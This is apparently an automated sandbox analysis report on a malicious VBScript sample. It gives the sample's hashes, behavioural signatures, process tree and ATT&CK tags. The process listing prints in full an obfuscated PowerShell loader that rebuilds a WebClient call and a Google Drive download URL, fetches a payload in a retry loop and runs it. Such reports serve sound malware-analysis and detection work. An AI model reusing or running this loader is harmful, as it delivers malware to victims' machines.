Analysis
-
max time kernel
9s -
max time network
8s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
27-11-2024 14:34
Static task
static1
Behavioral task
behavioral1
Sample
z34SOLICITUDDEP.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
z34SOLICITUDDEP.vbs
Resource
win10v2004-20241007-en
General
-
Target
z34SOLICITUDDEP.vbs
-
Size
33KB
-
MD5
f6a1927833d8bdbed39158eeb8fec038
-
SHA1
d166a956aee76d8c1a17b97905a2a554d71cd796
-
SHA256
674affabc23dacf7e1dd9f1c663589f1c1f3a8383037f2cb1a547d48beaf34b9
-
SHA512
6507a607f9964a923a40fdc329b3a1c5b9a36f5afb72129808a6a1121afa1c686c195a7cb8d3781e634d997ffded8b90a5a933bc9f3b06250be127373823b240
-
SSDEEP
768:hFiasUNgXGy5FMJerHSLNj0Z6AkhZw7XJuBbVVjgHraV:jiasj5zH+GZ6v/w78XNgHuV
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 3 1520 WScript.exe 7 2076 powershell.exe 9 2076 powershell.exe -
pid Process 2076 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 drive.google.com 7 drive.google.com -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2076 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2076 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1520 wrote to memory of 2076 1520 WScript.exe 30 PID 1520 wrote to memory of 2076 1520 WScript.exe 30 PID 1520 wrote to memory of 2076 1520 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z34SOLICITUDDEP.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Efteruddannelseskurser='Aabenbaringen';;$Overordentligt233='Lumbayao';;$Sacket='Eggcupful';;$Procrypsis197='Betle';;$Stvknappernemponderableness='Baandtlleren';;$Dbendes=$host.Name;function Tehandelens($lugger){If ($Dbendes) {$sorbeten=4} for ($Stvknapperne=$sorbeten;;$Stvknapperne+=5){if(!$lugger[$Stvknapperne]) { break }$Rinjin+=$lugger[$Stvknapperne]}$Rinjin}function Bacillite($fitchburg){ .($Willard) ($fitchburg)}$Steamfitter=Tehandelens 'NonfNmanuEKosmTlu,e.Br sW XeneShoeB Perc GallLe tImo sE Refn pydT';$Sourdeline=Tehandelens 'UnyoMko.toTr.ez va iInd lL.nilParaaRogn/';$Biliteral=Tehandelens 'FldeTUnd l yhesDele1En.y2';$Peed='Spen[ManiN HusETillTClus.FljksFlise S,rRrekrvRi eiUndeC EncEGradpMaleoHuslIRequnSymoTR fiM reA T enSkamaKlargMiljEKontRUnsn]Macc:serv:kldeS ncEL ndCI dluApplrPlatiIne.tRecrYNebepTiborAcalOPackTCan OcenoCTe,sOKon l Kol=Tth $TorvBUnrei Gonl OptI GleTUnmoEFngsREpita B aL';$Sourdeline+=Tehandelens ' hae5 Sur.Heng0Skov Udle( Pe.W oksiN nen CaldTeleoEr.vwFuldsTrus OrdfNCin TJ,co Inse1Enke0 Bre.Ange0 Ng ;Zyg F,rsWUnexiFissnCosm6.ina4Bulb;Brov ffix ,rg6Bok.4 ort;Co,m Kul,rCompvBlac:Co,v1 for3Job,1Phot.Pr.a0B,lg)Tran Enk.Ggaa.eIndfcun,ikWienoAppl/,elg2Pena0Fusu1 ips0al.e0Samm1Prot0,nlb1Ch l Gat F SesiPleorMouge Vurf.oneoStalxPrem/Euhe1Feri3Eret1Util. Swi0';$Remarking141=Tehandelens ' PolUDoxis tjeEProsr ras-MornaSperGCinde CitNNeedt';$Syntaksanalyseredes=Tehandelens 'Besth egtBispt aggp ColsBehr:Advo/Ufor/PhosdMastrUndei BrovForleSixt.LrregBredo psio ilgls el BloeTr.c.overcCoa.oBag m Spk/Aftru TercAppo? mbleHavrx,ivepPitco Mo rVexet Bo =FrapdBolioStoew Ka nGlanl Dyno StjaTaardKlog&Antii Cald sca=Erot1BlebbCaskV Li 7 pomRubbEMastuBol y Co YpersTNaepHHy.eTmarl5Syll4UdskHSam,GSoluIRidsdpancINo,kdPecuE.upexGnatOPolyePelaBud.rzV rs_Forr8Narc1 anoxSletI BehE Enrd';$Paafuglefjerens=Tehandelens 'Nico>';$Willard=Tehandelens 'Pos ItranEcoucX';$Acidosteophyte='Chough140';$Chemitypy='\Suspensioners.Aut';Bacillite (Tehandelens 'bisp$ApplgGermlvakao PasBsexuAAerol Ple:AchitCherA AfhgDestaPneusreprs D lUMi.sIf rsDJydeaGastEVa r=Sh t$ReenE Id.N PilVLav :Za nAgra PBeskPUndiDRes A KreTRen arigs+ Eur$limpcIndmhMoraeQuanml,ngi.yrtTNondy TarpAfb Y');Bacillite (Tehandelens 'Bir $ ,atgRep L EmbO Re.b A baTidolCo,t:PensUU koNf,igTFor hBeskiInveeB ggvStrmI SanSsludhmi i=Tusn$ KkkScrusY DynnE,anTNavlaF,rhkNonaS GaaaStvvN quoaD,egL Ry,YTedesji,pE ongRPsi EMes dB gsERatisDivi.GastSHypopStrulJordILet,tFric(Ork $SphiPVirka,aliA Petf,latU Th gA.epLdannecommFskelJAm uEEmhtR ,kve sp n SkaSKon )');Bacillite (Tehandelens $Peed);$Syntaksanalyseredes=$Unthievish[0];$Kirsty4=(Tehandelens 'S.lv$PastGpostlAlopoBillBGu nAI epLCl,a: Re,PFilmIJengGBuhkESedjoTr snUnwiAMahobNon lraflEArte=KrftnAmmoeGespWH.rr-Ji,gOHin bTeksJMucoe noncFrgetUdru RefisFdelYmusiSCol,T,ddeEStreM Kv .turn$ Cyks PaltH.erEAwara rypMIl iF AariFr gt AveTBicueKlicR');Bacillite ($Kirsty4);Bacillite (Tehandelens 'Un,u$SeksPHy oi .org BageAymeoSnidn CraaSkribMalalAut,eArbe. ebeHTy.aeDaadaventdEfteeen lr.icasKred[Prag$objeR araeSe vm AnnaSvu,rUdekkParsiDr onFedtgembr1Dkke4 A.n1.eku]B am=Harz$IrriSRicholeviuNskerFusidUnsue NeplTumbi,okenSve e');$Tromlers224=Tehandelens 'Kryp$ BrnPWarri BekgBanae ForoHeglnBe eaAn,eb nralLease A.t.Kkk,D Grao ypsw Pr.nInfolRaadoRa.taNeutd SauFOrniiBismlUnree Ant(expe$Se tSLejey,onnn CohtDataa PrekOplesPrewa Omtn CenaU,pal AmoyMells.homeTriwr U.def eldHe rePerfsJegr,Auto$HamsP Vo n,ongtRoad)';$Pnt=$tagassuidae;Bacillite (Tehandelens 'Oste$Albug ClelRecoOCataBTheiA Gl lForf:Compn G iE undeNin,DPumpLSmoke DifD.ard= Dve( igtSpirEDampSIndtt N l- leP Stea iriTBenghF,kh Insi$Coehp iteNDicrTdrae)');while (!$Needled) {Bacillite (Tehandelens 'th,r$AntigKnytlTilloS.lpbUrovaPe ll g h:H,ssU uddS kksR leaP eil Karg Huls Has=Star$ Ar.E GlunParteLuftcunageElixlSvejl BareKa enSamfs') ;Bacillite $Tromlers224;Bacillite (Tehandelens 'mo.tsNo.nTSpr aCon,RPlactHead-CaulSMilil PaaEPersegi tpSkim Ret4');Bacillite (Tehandelens '.vrt$ iniGmarkLRealo UroB k ra Bo lRedo: BasnKernE onsePhacd En lForlexenoD Tei=C pe(ParaT AskeBlgesBa yTBerm- aduPA elaBry,TA oihOpda Grin$TrknPLageNLondTo no)') ;Bacillite (Tehandelens ' Ven$Facig SkrL ingO BrubBesta S al Pri:DillPKorrSSk lI Coil Un a B,nN Ko tbracHRuskrHypoOK ltpMoorITales erkmRe,m2bone4Fasa0I.fi=Nasu$Mo oGpe,sl rumOurosB VaaAEranLFoye: ForTtredz EleiSnegmFysiMKnogeVarmS Bry+Bold+Anno%Mi,b$EarruuretnUdbrtUnm,H entIDe.oEYng v ZetiA tiSFestHreca.flleCTormORepeU,lurNSaucT') ;$Syntaksanalyseredes=$Unthievish[$Psilanthropism240]}$Recaps=312553;$Slvklos=30447;Bacillite (Tehandelens 'Bilt$SandgLi.hL LovOsc.lB S.aAReimlSpec:F,ersPretUHandBSideD U le DevdMicruRoacCDobbiBrndBBrunlWheyEBrne Bran=Ov.r SaurGFeste SomTK,ar- emicCybeO Be,nTurnt.asseRoseNf,iptBiss Cap.$ WriPPa kNKan T');Bacillite (Tehandelens 'Anlg$fouegFyrrl UndoMegabA oma S plUnre:HandMHan.aPycnrSta iUn.co EpilGoklaCo r Tip=Zeun Be y[SlsfSPatoyViolsInditEmote M nm ete. ScrCJagto No.nBeauvTableAfknr ufft Fir]kata: Pos: PunFS mmrsklsoBr lmBekeBVib aMo gsmetreMejs6Cosc4PleuSObrotReber ClaiOvern Subg Bry( Par$rataSheteu Rinb C ed T aeGingdBrinuReincOve,i kimbFashlT oreey i)');Bacillite (Tehandelens 'Peri$ O tgO teLbefaorumkBKlodABio lRump:gypsH pekyRunkg FarrH.tuOS,atGCa uRKnapAluteMcent Cata=Innu Prae[MicrSMartyS ndsCompTPro EHalamBack.FaveTAftreTvanXstyrtadg,.RosseC ypn,tjfc ivio RocdUno.i DemnesopgBigu],oni:Jv h:TriuaFo esB,llcAms i CyciPou..DesigS ejECheeTInfisWilitLicerTec,i eckN UrogVirk(Cha $ atamzebrA rerConsITrykoInitlProfaFair)');Bacillite (Tehandelens 'Non $Yng,GAnorLKoo.OCl sbLysnA Co lca,s:Co iFper LNyheUBenaSUappkmateeMer rKomm=Al.o$ FemH onmyOphtGSondRUdspo opsgHortrU.huaInteMFlyv.,ears.abiUHa.nbBri,S Blet SenRMudsiMakrNRjseG Ind(Mikr$ nchR olkED micDiffABlaaPVirkSKulh,Thri$ OxiSInclLBlegvTranKA omL sano S as ko)');Bacillite $flusker;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b